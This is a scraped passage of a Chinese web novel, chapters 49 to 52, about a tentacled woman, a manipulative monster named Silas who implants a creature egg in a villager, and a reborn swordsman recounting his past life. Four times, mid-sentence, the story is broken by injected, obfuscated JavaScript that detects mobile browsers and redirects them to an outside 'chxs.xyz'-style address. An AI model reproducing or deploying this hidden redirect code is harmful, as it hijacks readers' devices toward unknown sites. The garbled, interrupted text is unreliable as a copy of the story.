“掌握‘吞噬’的奥秘后,我们就会离开这里。”黎望舒直截了当地说:“无论你之后有什么打算,我们都不会为此停留。” 出乎她意料地,塞拉斯只是淡然地点了点头:“我明白。” “我当然不会阻止您离开这里。”塞拉斯看出了她的惊讶,轻声解释:“但我的确有一件事想要请求您答应。” “什么事?”黎望舒问。 “具体内容请容我留到日落后再说。”塞拉斯微笑着说,“总要在生活中留下一些悬念,这样才更有意思。” ……又是这种感觉。 黎望舒冷冷地瞪着塞拉斯——对方明明看出了她的怒意,却更高兴了似的,唇角的笑容逐渐扩大。 每每看到塞拉斯这种充满技巧、带着十足蛊惑的笑容,她都会生出一股强烈的违和感,仿佛站在她面前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14949108|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并不是一个活生生的人,而是一只披着人皮的冷血怪物。 “谢谢你的招待。”压下心中的焦躁感,黎望舒扯出笑容,“作为回报,我也想要送给你一份礼物。” “真的吗?”塞拉斯露出了感兴趣的表情,“这是我莫大的荣幸。” “把手伸出来。”黎望舒吩咐,塞拉斯立刻照做了——他面上带着期待,将骨节分明的右手矜持地摊在黎望舒面前。他的掌纹清晰,指甲充满光泽,修剪得很整齐,看得出经过了一番精心打理。 黎望舒从腰间抽出匕首,拉起自己的触手,在众人惊愕的目光中,手起刀落,面不改色地切下了一段,将那段还在滴血的蓝黑触手放在了塞拉斯干净的掌心里。 她微笑着问:“喜欢吗?” 塞拉斯笑容淡下,五指痉挛着收紧了。 他压抑着自己混乱的呼吸,感受着手中柔软的物体,从牙缝里挤出问题:“……您这是什么意思?” “这是来自我家乡的习俗,结识新朋友的时候要送出自己的肢体以示结交的诚意。”黎望舒仔细观察他的表情,“怎么,不合你的心意?” 经过了一阵漫长的沉默,长到黎望舒以为他不会回答,已经紧绷肌肉,做好了开打的准备时,塞拉斯的面上却重新浮现出笑容:“谢谢您的礼物,我非常喜欢,也请允许我向您回礼。” 说着,他轻轻抽走了黎望舒手中沾血的匕首,对准自己的右手无名指,用力切下—— “呀!”杜蕊忍不住惊叫一声。 “……请您收下。”仿佛痛极了似的,塞拉斯声音微微颤抖,将切下的无名指留在桌上,朝她的方向推了推——苍白手指断面汩汩流出鲜红的血液,鲜血很快浸透了桌布,向地面滴落。 毫无疑问,那是属于人类的血液。 定定地盯着那根手指看了几秒,黎望舒心中涌起了被挑衅的怒意。她掀起眼皮,冰冷目光刺向塞拉斯——他面色微微苍白,呼吸也有些不稳,即便如此,依旧笑着对她说:“您感受到我的诚意了吗?” -- 塞拉斯合上了红砖房的大门,手中握着尚在滴血的蓝黑触手,步伐稳健地沿着土路行走。 路旁热火朝天工作着的村民们见了塞拉斯,纷纷热情地向他问好,他面带微笑地一一回应,默默加快了脚步。 “塞拉斯先生,我的任务完成得怎么样?”包小阳兴奋地凑了过来,看清塞拉斯的脸后,微微一愣,“您、您怎么流鼻血了。” “……”塞拉斯任由鼻下鲜血粘稠地滴落,步伐不停,面无表情地从包小阳面前经过,“忘记你刚刚看到的东西,别跟上来。” “明白。”包小阳双眸空洞一瞬,站在原地发了会儿愣后,猛地回过神来,“哎?我怎么停在这儿了。” 身体紧绷地走到了道路的分岔处,塞拉斯姿态自然地向右一拐,将自己的身形严严实实地隐藏在一栋土房子背后,双腿一软,扶着土墙跪在了地上。 “呕……咳咳!”他呛咳着呕出了一大滩血,额上冷汗淋漓,即便如此也没有放开手中的半截触手。他催动精神力,凝出了一个深蓝色的半透明盒子,将触手妥善地封在其中,这才舒了口气。 他缓了口气,缓慢地站起身来,将衣服上沾染的尘土拍打干净,凝视着盒子中的触手,突然低低地笑出了声。 “家乡的习俗?”他轻声呢喃,“您可真会开玩笑。” 50. 第 50 章 塞拉斯离开后,几人看着桌布上刺目的断指与鲜血,面面相觑,一时间谁也没有开口,血腥味在寂静的空气里蔓延。 “这东西……要怎么处理啊。”杜蕊一言难尽地开口。 “汪!”妞妞闻到气味,在桌子底下高兴地叫了一声,随后猝不及防地被连霏捏住了嘴巴,它疑惑地歪了歪头。 “这个是人肉,不能吃。”连霏语重心长地教育它,“你是好狗狗,懂得这个道理,对吧?” 妞妞湿润的鼻尖微微耸动,似乎在细细分辨空气中的气味。它嗅了一会儿,不知明白了没有,舔了舔连霏的掌心,重新趴下了。 黎望舒深吸了一口气,拎起那截发白的无名指,起身打开窗户,将手指扔向窗外——那截断指无声地落在了土壤之上,血液与泥土混合在一起,糊在截面之上。 她向窗外望了一眼——塞拉斯的背影已经远去,他背影挺拔,步伐稳健,看不出丝毫异样,在三岔路脚步一转,消失在了土房子背后。 确认塞拉斯的身形消失在视野中,她收回目光,关上窗户。 “没关系吗?”杜蕊弱弱地问,“要是塞拉斯生气了怎么办。” “那样正合我意。但我有种直觉,他不会为了这种小事与我撕破脸。”黎望舒坐回桌边,“关于礼物的谎话是我临时想出来的,漏洞百出,看他那副样子,应该也没有相信。他切下手指为的不是‘回礼’,而是对我的挑衅。” “你怀疑他是怪物,所以才用触手试探?”闻风藻立刻明白了她的意图,“他并没有表现出畏惧。” “但这并不意味着他的嫌疑被排除了。”黎望舒摇头,“毕竟我不清楚,自己的血液能影响怪物到什么程度。塞拉斯看起来比彼岸更具人性,能力也更强大,也许我的血对他不起作用。” “你为什么会认为塞拉斯是怪物?”杜蕊百无聊赖地晃悠板凳,“我觉得他虽然不像好人,但还是挺有人样的。” “……说不清楚。”黎望舒说,“可能是直觉吧。” 几人围在桌边,有一搭没一搭地闲谈着,杜蕊很是心急,每过几分钟就要伸着脑袋看一看窗外的天色,终于熬到了夕阳西下的时候。 在杜蕊的碎碎念之中,房门再次被敲响。塞拉斯换了身利落的黑礼服,金发随意披散在肩头,打扮得像个正经执事,他单手端着托盘,不急不缓地走进房间,身后还跟着一脸紧张的包小阳。 “各位好啊,又见面了。”包小阳摸摸后脑勺,笑得僵硬。 “准备已经就绪,请您过目。” 塞拉斯微笑着将手中的东西放在她面前——银色的小托盘被分隔成两半,其中一半放着小刀、手套与纱布,另一半则静静地躺着一枚深蓝色的水滴状物体,大约有成年人的拇指大小,透过微微透明的表皮,能看见里头浮动着小小的黑点,黑点初具雏形,看起来像只紧紧蜷缩着的八爪鱼。 黎望舒眉心一跳,隐隐猜出了他要做什么:“这是怪物的卵?” “正是。”塞拉斯点头,“您果然见多识广。” 他偏头朝身后瞥了一眼,包小阳立刻自觉地撸起袖子,将小麦色的结实手臂伸到了他面前。 塞拉斯戴上手套,握住了那柄锋利小刀,在包小阳手臂上竖着划出了一道深可见骨的伤口,鲜红的血肉翻出,血液喷涌而出。 包小阳嘴唇痛得发白,冷汗几乎立刻从额头滚落下来,即便如此,依旧强忍着没叫出声来,房间里只能听到他急促的呼吸声。 塞拉斯毫不留情地用拇指翻开他的伤口,另一只手轻轻捏起托盘中的怪物卵,迅速地塞入了伤口之中——触碰到血肉的一瞬间,蓝卵活过来了似的,如同一只敏捷的蝌蚪,转瞬间就钻入其中,不见踪影。 “呃啊!” 包小阳眼睁睁看着蓝卵钻进了自己的伤口中,剧烈疼痛瞬间席卷了心神,他痛得跪在了地毯上,蜷缩着抱紧了自己的手臂,再也压抑不住喉间的痛呼。 塞拉斯面色不改,将被鲜血浸染的手套脱下扔在托盘里,又将绷带丢在包小阳面前,淡声吩咐:“把伤口包好,动作快,别耽误时间。” “……是。”包小阳勉强伸出手去触碰那卷绷带,但脱力的手指抖个不停,抓握了几次都没能将绷带抓入手中。 “我来帮你。”眼见塞拉斯毫无出手帮助的意思,连霏犹豫两秒,忍不住蹲下身去,捡起了地上的绷带。包小阳偷偷看了眼塞拉斯,见他没有阻拦的意思,于是顺从地伸展手臂,任由连霏为他包扎。 “这样就结束了?”黎望舒看向塞拉斯。 “请不要心急,还有最后的步骤尚未完成。”塞拉斯微笑着说,“稍后我会为您展示。” 连霏扎紧了包小阳的上臂,试图为他止血,又将他的伤口包得严严实实。但伤口实在太深,即便包得再完美,纱布上的血色依旧在慢慢向外渗透,逐渐扩大。 “这样就可以了,请退下。” 塞拉斯瞥了眼包扎好的伤口,语气冷淡——他与黎望舒以外的人交谈时,语气实在说不上温和,甚至带着一丝命令的意味。连霏一开始没反应过来这句话是冲着她来的,直到塞拉斯的目光纡尊降贵似的落到她身上。 之前塞拉斯从未正眼看过他们几人,这也是连霏第一次与他对上视线——他的湖绿瞳孔泛着无机质的冷光,从中投出的视线不带一丝温度,冰冷、无情、充满攻击性,仿佛注视着的并不是活生生的人类,而是一盘美味佳肴。 那是掠食者的眼神——她背后发凉,生出了拔腿就跑的冲动,也终于理解了黎望舒口中的“直觉”。 连霏愣愣地被妞妞咬着袖子扯到一边,好一会儿才回过神来,再次抬起的眼眸中带着浓浓的忌惮。 ——这家伙绝不是人类。 “站起来,把手臂伸出来。”塞拉斯命令,包小阳面色惨白地照做了。他低下头,在黎望舒耳边轻声说:“这是最后的步骤。” 黎望舒点头,目光一错不错地紧盯着面前二人。 非常享受她的注视,塞拉斯微微一笑,装模作样地伸出手,对着包小阳打了个响指。 响指的声音消散在房间里,包小阳茫然地眨了眨眼,没有感觉到任何变化。他偷偷看了眼塞拉斯,正在心中猜想实验也许失败了的时候,从右手伤口处猛地传来一股寒意,顷刻间就扩散到了他全身,“……啊。” 一声短促的惊叫之后,他再也吐不出一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14952929|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字来,被寒气激得面色发青,右手臂痉挛了一下、又一下,最终每一块肌肉都开始剧烈扭动,中心的骨头都融化了似的,整条手臂变得越来越柔软,逐渐脱离了手臂该有的形态。 “他没事吧?” 眼前的景象太过诡异,黎望舒耐心等待了一会儿,包小阳的手臂却仍在波动,这种波动有向全身扩散的趋势。 “死不了,但会很痛。”塞拉斯平淡地回答,“强行与不属于自己的肢体融合,以人类之身触碰神的力量,这是必要的代价。” “神的力量?”黎望舒掀起眼皮看他,“真不敢相信,你居然将怪物代称为神。” “呵呵。”塞拉斯又露出了让她不爽的笑容,语气温和地说:“您总有一天会认同我的。” 话说到这个份上,他几乎完全卸下了伪装,没有再掩饰自己非人的身份——黎望舒不露声色地思考着,仍不明白他到底在打什么主意。 这时,一阵惨烈的哀嚎打断了她的思维——包小阳手臂上的血肉如同烈日照射下的冰雪,缓缓地融化了,肉泥淋漓地顺着他的手臂滑落,从指尖开始,然后是手掌、小臂、大臂……最终整条手臂都消失不见了,取而代之的是逐渐从肩膀断面中钻出的深黑触手,它们粗暴地撑开了断面的肌肉,几乎要将他的肩膀撕裂。 包小阳被剧烈的疼痛折磨得双目充血,叫喊声嘶哑,最终双目一翻,失去了意识,和半身的触手一起软倒在湿漉漉的地毯上。 “怎么会痛苦成这样……”杜蕊被这惨烈的场面惊到,双目含泪,忍不住抱紧了自己的手臂。 “这就是全部了。”塞拉斯笑着转过头,躬身询问黎望舒的感想,“还合您心意吗?” “最后的步骤是什么?”黎望舒问,“除了响指,你应该做了其他的小动作吧。” “当然,我很想告诉您,但……”塞拉斯有些为难似的,“能否请您先听一听我的请求?” “说。” 郁仪眉心一跳,心中涌起了熟悉的糟糕预感。 “我想要留在您的身边。”塞拉斯俯下身体,压低自己的身高,微微抬起湖绿的眸子,用巧妙的、让自己显得可怜巴巴的角度仰视她,“请带我一起走,这是我唯一的愿望。” “不可能。”黎望舒想也没想地拒绝了他,“我不会让你留下。” “为什么?”他问。 “你清楚原因。” 黎望舒冷冷地俯视着他——不得不承认,这家伙很了解她的喜恶,一个简单的视角变换,就让她感觉舒坦了不少——她直截了当地说:“因为你不是人类,而是怪物。” 塞拉斯笑而不语。 “不回答就是默认。”黎望舒的心缓缓下沉,顿了顿,接着说:“……我也是怪物,对吗?” “我认为不是。”塞拉斯笑容加深,“这取决于您对‘怪物’这个词有着怎样的定义——在现下的语境中,它显然是个贬义词……” “废话少说!”受不了他弯弯绕绕的说话方式,黎望舒暴躁地打断了他,“我与你到底是不是同类?你只被允许回答是或否。” 塞拉斯眸中的笑意几乎要满溢出来,他轻轻启唇—— “是。” 51. 第 51 章 塞拉斯没有说谎——黎望舒的直觉如是说。 她一向相信自己的直觉,此刻却宁愿它是错的。千算万算她也没算到,自己居然是个货真价实的怪物,但这样一来,许多事情就能说得通了。 从过往的经验来看,怪物之中,拥有思维的高级种对低级怪物有着绝对的压制力,高级种之间也许用实力作为基准,也分出了地位高低,比如将千罗当作狗使唤的彼岸。她的血液中蕴含着高等级怪物的气息,触手被割破时,压迫感随着血液向外挥发,周围的普通怪物自然会被吓走。 在塞拉斯身上感受到的熟悉感也可以由此做出解释——他们同为怪物,地位貌似差别不大,彼此之间也许有什么特殊的感应。 但实际与塞拉斯打过交道之后,黎望舒发现,他对自己有着很深的了解,言谈举止都努力地向讨她喜欢的方向靠拢;但也许是本性使然,他不时流露出的侵占欲与攻击性都让她不爽,言行也透着刻意的造作感,轻而易举地引出了她的警惕心。 ……这些有关她个人喜好的思考先放在一边。问题在于,她拥有从小到大一路成长至今的完整记忆,其中不存在半分空白,唯一能够深究的也只有父母不详这一点。塞拉斯对她的了解究竟从何而来?她的记忆又缺失了哪一部分? “不必急于做出决定。”见她面色越来越阴沉,塞拉斯后退一步,“您可以在这里休息一晚,仔细考虑清楚。天亮后,我会再来询问您的答复。” 黎望舒从沉思中抽离出来,想起了另一个未解的问题:“村子里的所有人都在你控制之下?” “没错。但我施加的并不是强力的精神控制,只是浅层的心理暗示,对他们来说,这并不是坏事。”塞拉斯毫不掩饰自己的所作所为,“有了我的庇护,他们不必与怪物对抗,活得安逸又舒适,只需喂饱自己就能活下去……请别用怀疑的眼神看着我,事实上,我还没有吃过人,就连他——” 说着,他瞥了眼昏在地上的包小阳,“——他想要力量,所以自愿做我的实验品,我可没有逼迫过他,也讲过这样做的风险,但他执意要来。” 黎望舒冷声道:“不为了吃,你控制他们又是为了什么?不要告诉我你在大发善心,怪物可没有这种东西。” “我是您的同类,您有的东西,我也一样会有。”塞拉斯眨了眨眼,“我承认,我没想过拯救他们,但也并不是想要加害于他们。我只是想借人类之手将您引到这里,倾听我微不足道的愿望,顺便向您展示我友善的态度而已。” “你觉得我会相信?” “您会的。”塞拉斯不知哪来的信心,笃定道:“毕竟我是您忠诚的骑士,有着良好的信誉,从不在您的面前说谎。” 黎望舒手臂上起了层鸡皮疙瘩,“你居然能在这么多人面前说出这种台词。” ……这是什么角色扮演吗,好强的信念感。 “有什么问题吗?”塞拉斯面上依旧挂着泰然的微笑,似乎丝毫不觉得羞耻,“我只是说出了心里话而已。” “好了,你该离开了。”黎望舒面无表情地赶人,“太恶心了。” “从前的您可不会这样拒绝我。”塞拉斯还想说什么,却被强行翻了个身,连带着包小阳一起,被推向门外,“等等,如果我记得没错的话,这好像是我的房间……” 没等他说完,身后的大门便“砰”一声合上了,塞拉斯的金发被气流卷起,又缓缓的飘落回肩头。遭到了如此粗暴的对待,他却一点也不恼怒,反而缓缓地勾起了唇角, 以过往的经验来说,很显然,她的态度松动了——就算她不答应也没关系,无非就是回到以前的状态,她在前面走,自己在后头悄悄跟着罢了。 …… 飞快地将那二人丢了出去,黎望舒回头,桌边的几人都投来了一言难尽的目光。 “……”黎望舒叹了口气,“明明说话的是他,为什么最后丢脸的反而是我。” “那家伙好像没有羞耻心。”杜蕊脚趾忍不住用力,“太尴尬了,光是坐在旁边听着,我就要被晒干了。” “你的少女漫画里也有这种台词。”闻风藻提醒。 “那能一样吗。”杜蕊反驳,“这位可是活生生的三次元立体人啊……虽说长得像是从漫画里蹦出来的。” “他都承认自己是怪物了,你会让他加入吗?”连霏犹豫片刻后,不安地问:“我觉得他不适合一同旅行。” “我要再考虑考虑。”黎望舒说。 “我也不喜欢他,他态度实在太差了,高高在上的,以为自己真的是贵族吗。”杜蕊又开始摇板凳,“而且我们的车子已经坐满了,塞不下那种宽宽大大的人。” “不用担心,就算最后真的要带上他,我也不会让他威胁到你们的,无论是安全方面还是生活方面。”黎望舒说得淡然,“实在不行,就让他坐在车顶上吹风好了。” “噗。”杜蕊忍不住笑出了声,“那场面也太好笑了。” 郁仪一点也笑不出来。 听黎望舒的口吻,像是已经做好了决断、决定将塞拉斯带上了似的。 他无法忍受塞拉斯对她亲昵的态度,更重要的是,一想到她有可能在塞拉斯的蛊惑之下走上死路,重蹈上一世的覆辙,他就抑制不住地焦躁起来。 仿佛发现了他的不安,黎望舒平静地看向他,轻声询问:“今晚我们谈谈?” 郁仪无言点头。 …… 深夜,确认同伴们都在房间里睡熟了,黎望舒轻轻合上房门,转头回到客厅,推开了另一侧的书房门。郁仪已经搬好板凳,坐在里面眼巴巴地等着她了。 这里说是书房,看起来只是个用来学习的地方——窗边一张小书桌,墙角的书架上杂乱地堆着各式各样的教辅书与试题集,门边还放着一张光秃秃的硬板单人床,上面落了一层灰,看起来很久没人住过了。 不知道这个房间的主人如今在什么地方。 她略略扫了一眼房间内部,随后将触手蜷起,靠着墙坐在了地面上——郁仪似乎提前打扫过,木地板上并没有多少灰尘。 见她直接席地而坐,郁仪也丢开了板凳, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958553|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱着膝盖坐在她身侧。 他取下发带,黑发柔顺地从肩头滑落,随着他低头的动作垂下,挡住了黎望舒的视线。他默默地将膝盖抱紧了些,下半张脸埋在臂弯里,盯着地板沉默不语。 他的剑被随意丢在腿边,乌黑剑鞘上沾了点灰尘,十分显眼。黎望舒将它捡起,横放在触手上,擦去上面的灰尘,轻声开口:“还没准备好?” “……我不知道该从何说起。”郁仪闷闷地说:“我想象过很多种坦白的景象,也预演过很多次,但真到了这种时候,大脑里还是一片空白。” “你在担心什么?”黎望舒问,“怕我不相信你的话,还是内容难以启齿?” “都有吧。”郁仪说。 “其实我大概能猜到一些。”黎望舒说,“你以前应该在其他地方见过我吧,山城的那一面,并不是你我的初次见面。” “你怎么会知道?”郁仪微微偏头,乌黑眸子一转,透过发丝的缝隙,晶亮亮地看向她,“我的演技有那么差吗。” “你原来有在演啊。”黎望舒比他本人更惊讶。 “对我来说不是,但对你来说,那的确是初次见面。”郁仪深吸了一口气,抬起头绷直唇角,让自己的表情看起来尽可能严肃,“接下来的内容可能有些离奇,但我用自己的一切发誓,这些都是真实的,绝无半分谎言。” “嗯,你说。” 郁仪喉结微滚,艰难地开口:“……其实我已经死过一次了,在上一辈子,再一睁眼就回到了末世刚开始的时候。这是我第二次迎来末世,也是第二次遇见你。” 说完,他紧张地观察黎望舒的神色——出乎他意料的,她表情颇为平淡,看起来一点也不惊讶,甚至淡定地出声催促:“然后呢?接着说,不要戳一下吐一点。” “你真的相信了?”郁仪忍不住怀疑,她是否只是在糊弄自己。 “我又没说不信。”黎望舒微微低头,摩挲着剑柄,“说实话,我设想过这种可能性。毕竟怪物都能从人体中钻出来,人类也能获得超能力了,那么死而复生、穿越时空什么的也不是没可能发生。” “和我预想得不一样,你接受得太快了。”郁仪又将脑袋埋了回去,闷声道:“这让我先前的纠结显得很可笑。” “我不会嘲笑你。”黎望舒忍不住笑了,“你上辈子是怎么死的,我最后又怎么样了?” “我们都死了。”郁仪的声音轻得不可思议,“你死在我前面,是自杀。” “我?自杀?你确定?”黎望舒这回是真有些惊讶了,她高高地挑起眉毛,难以置信地重复:“我会自杀?” “我亲眼看见,你把刀送进了自己的心口。”想起那时的惨烈景象,郁仪后背又开始发冷,他缓了口气,反问:“你觉得不可能吗?” “以我对自己的了解,基本不可能。”黎望舒实在想象不出,究竟是怎样的打击才能让自己放弃生命。 “但它就是发生了。”郁仪说。 “……好吧。”黎望舒忍不住叹了口气,“我想仔细听一听你的经历。” 52. 第 52 章【男主视角】 郁仪第一次见到黎望舒,是在一个漆黑的雨夜。 他幼时被亲生父母抛弃在山下,师父将他捡回深山里的草屋,一点点将他喂养大,又细心传授他剑术。 很长一段时间里,他的世界里只有自己与师父二人,直到八岁那年,师父带他去了一趟山脚下的小村子,他才发现,原来这个世界上还有其他人类。 他从没见过那么多人,每一个人看起来都与自己不一样,热情又健谈,甚至会伸手轻轻地捏他的脸。小小的他晕头转向地淹没在人群中,害怕自己被丢下,下意识抓紧了师父温热的手。 自那以后,师父便隔三岔五地支使他去村子里跑腿,集市里的大妈大爷们不知为何,对他颇为好奇,每次都要拉着他说一堆的家长里短才肯将东西卖给他。 他并不反感陌生人们的热情,却也不知道该如何与他们交流,每次都被逗得落荒而逃。 单调的日常日复一日,转眼间十年过去了。郁仪成了十九岁的少年,身高早就超过了师父,进行剑术比试时也能隐隐压上师父一头。 晚秋的某天,他一如既往地在清晨起床,劈柴练剑,又按照师父前一天的吩咐煮好了两人份的白粥,去叫师父起床时,却发现那个白胡须的小老头一动不动地蜷在床板上。他伸手去摸,才发现师父已经没有温度了,僵冷的皮肤冻得他指尖发痛。 他站在床边愣了许久,才反应过来,师父死了。 师父走得太突然,没有留下半句遗言。郁仪将师父葬在屋后,盯着坟墓前那道简陋的木碑,一时竟不知自己该做些什么,失落了几天之后,他又回到了先前的生活模式:练剑、劈柴、练剑、煮饭、练剑、下山采购…… 明明做的事和先前一模一样,又似乎有什么东西变得不一样了——草屋明明不大,但少了一个人之后,居然显得格外空旷。 变化发生在两个月后的一个深夜。 那天,郁仪完成了本日的课业,正准备洗漱睡觉的时候,暗林中突然传来窸窣的响动,紧接着,身后一股气流袭来。 他以为是山中的猛兽,头也没回,反手抽剑将来物斩落,回过头时却发现,地上躺着的东西他之前从未见过,它通体漆黑,身上长满触手,浑身透着潮气,不像是山里的动物。 接下来的几天,山中不时便会出现这样的小怪物,充满攻击性,总爱从暗处偷袭,虽然伤不到他,但莫名地让人烦躁。直到家中的白米吃完,他才猛然间想起了山脚下的村落,连忙提着剑下山。 十年过去,一开始对他热情的大妈大爷们大半都已离世,年轻人们不愿留在山村里,去了城市安家,村子里的人越来越少,逐渐变得死气沉沉,但也从未像今天这样安静过—— 郁仪将每一扇房门都推开确认,却没有找到一个活口。 他从最后一间屋子里走出来,茫然地站在死寂的乡间小路上,想起从前赶集日时这里熙熙攘攘的样子,只觉得心中空落落的。 平心而论,他与村民们的交情并不深,以往听到某个老者去世的消息,他也不过是淡淡一点头,道一声“节哀”,心中并不觉得多么悲伤。但这一次不同——孤寂感前所未有地涌上心头,激活了这两个月来麻木的感官,连同师父离去的悲伤一起,牢牢地攀附在胸口,让他呼吸困难,四肢发麻,连站立都做不到了。 那之后,他就不怎么下山了。 他找来菜种,洒在屋旁的几块薄田中,时不时抓一只猎物回来美餐一顿,勉强可以自给自足。 偶尔有外面的人逃进深山里,那些人离开前讲述了不少外界的消息——东边的大基地被怪物灭掉了、西边的强者又建立了新的基地、怪物们越来越聪明,学会了抱团夜袭,日子越来越难过了……等等等等。 就这样,他又独自一人生活了一年。 …… 与她相遇的那天,他不小心扭坏了家中唯一的铁锅,只好冒雨下山去村落里寻找替换品。拎着半旧铁锅回来的时候,他发现山脚下围着一圈满面戾气的人,似乎在追杀什么人,他隐约听到领头的人提起了“半身触手的女人”。 一番搜索无果后,领头那人不甘心,临走时点起火把,试图放火烧山,幸好雨势突然变大,浇灭了尚未成型的火苗。 他无意掺和进陌生人的仇杀,但见了他们激进的行为,忍不住开始担心自己的草屋。于是他停下脚步,隐在一旁盯着那些人的一举一动,确认他们离开后才悄无声息地接着上山。 他带着防雨的斗笠,穿梭在密密匝匝的枝叶中。雨滴噼啪地打在竹斗笠上,他的鼻尖掠过泥土的腥味、叶片的清香、落叶的腐烂气味,以及……血的味道。 他骤然停下脚步。 此处距离他的草屋不远,为了排除隐患,他顺着那股血腥气找了过去,在一颗粗壮老树下发现了一个皮肤苍白、裹着黑色长斗篷的年轻女人。 她的黑斗篷湿沉沉地,被血液和雨水浸透,小腹横着一道狰狞伤口,血肉外翻,被雨水泡得微微发白,脑袋软软地垂在肩上,似乎失去了意识。值得注意的是,她的下半身并没有人类的双腿,从腰部延伸出几十根粗壮的蓝黑触手,虚弱地蜿蜒在地上。 那些人要找的,恐怕就是她。 郁仪听说过这种身上长触手的人,他们自称“吞噬者”,大多身怀奇妙的能力,正因如此才敢离开基地,向外探索。 他对这类人并没有偏见,见那女人奄奄一息地蜷缩在树下,发丝湿淋淋地紧贴在脸颊上,有些可怜,于是便想要将她抬回草屋中救治。 然而,他刚踏出一步,苍白女人就唰地掀开了眼皮,琥珀色瞳孔中没有一丝睡意,警惕地朝这边望过来。 “我家就在附近,可以把你抬过去,条件不大好,但至少有屋顶不必淋雨。”郁仪止住脚步站在原地,平静地接受她的打量,“不愿意就算了。” 苍白女人眯起双眼,盯着他看了两秒,不知从他身上看到了什么,忽地松了口气,撑着身后的树干,吃力地站了起来。 “要我扶你吗?”她表现得相当戒备,郁仪没有贸然上前。 “不用。”她的声音听起来像冬日的溪流,又冷又澈,非常符合郁仪对她的印象,“我自己能走。” 二人一个在前面带路,一个在身后跟随,缓缓向草屋的方向走去。郁仪有意地放慢了脚步,听着身后枝叶被碾压的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14964750|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声响,有些好奇她用触手怎样走路,但考虑到对方的心情,还是忍下了回头看的冲动。 草屋有段时间没迎来客人了,他最近有些寂寞,想听人说说话,为此必须注意态度,不能引起她的警惕。 “你可以待在这里。”郁仪摘下斗笠挂在院子里,推开最外侧的一扇门,示意她进房间里待着,“其他地方也可以随意走走,院子中间有水井,想喝水就用旁边的桶打水,我住在对面那间房里,有事可以叫我。” 苍白女人捂着腹部的伤口,指缝里仍然有血溢出,她缓缓点了点头,走进了房间里,在光秃秃的硬板床上坐下。 “需要药吗?”郁仪问,“家里还有不少。” “不用浪费。”她向后挪了一点,闭眼靠在墙上,“我愈合得很快。” 吞噬者们的高效愈合能力,郁仪早有耳闻。他正要退出去,想到她狰狞的伤口,又犹豫着回头,问她:“但应该很痛吧。止疼药我也有,需要吗?” 苍白女人一下子睁开眼睛,用见了鬼似的目光盯着他看,突然笑了一声:“用不着,一点小伤而已。” 第二天一早,他惦记着那个受了伤的女人,天还没亮就爬了起来,却没想到,刚好撞见了她推门出来的样子。 她脱下了外面的黑色斗篷,露出了底下简练的深色作战服,腹部的布料破了个洞,露出一片光滑的肌肤,见不到半点伤口的痕迹。她伸了个懒腰,在门口舒展筋骨,身材高挑,属于人类的双腿被作战裤包裹,四肢肌肉线条流畅,一看就是久经锻炼的身体。 “是你啊。”她注意到了呆站着的郁仪,微笑着打招呼,“早上好。” “……你好。”郁仪干巴巴地回应,视线忍不住聚焦到她的双腿上,“你的腿变回来了。” “是啊。”她低头看了眼自己的双腿,“昨晚我状态不好,没精力控制多余的东西,让触手露出来了,没吓到你吧。” “没有。”察觉到自己的回答太冷淡,郁仪补充道:“我听说过吞噬者,他们得到了怪物的力量,但心仍然向着人类,并不是敌人。” “吞噬者……”她双眼微眯,看起来若有所思,又微笑着说:“没错,你说得很对。没想到你人在深山里,知道的东西还不少么。” “偶尔会有人闯进来,带来外界的消息,就像你一样。”郁仪直白地问:“你有什么新情报吗?如果有的话,希望你能讲给我听。” “当然可以。”她将水桶丢入井中,一边摇着把手,一边问:“你想听哪方面的情报?” “什么都可以,就算是过时的情报也好。”郁仪走到井边,盯着水桶缓缓上升,“我只是一个人太久,想听人说些话而已。” “刚好,其实我知道的挺多,陪你说上三天三夜也说不完。但作为交换,我也有一件事想拜托你。” “什么事?”郁仪问。 她单手将装满水的木桶提到井边,胳膊撑在木桶边上,冲他一笑:“其实我现在无处可去,能不能让我在这里住一段时间?” 郁仪睁大双眼,没有片刻犹豫,立刻点头应了下来。 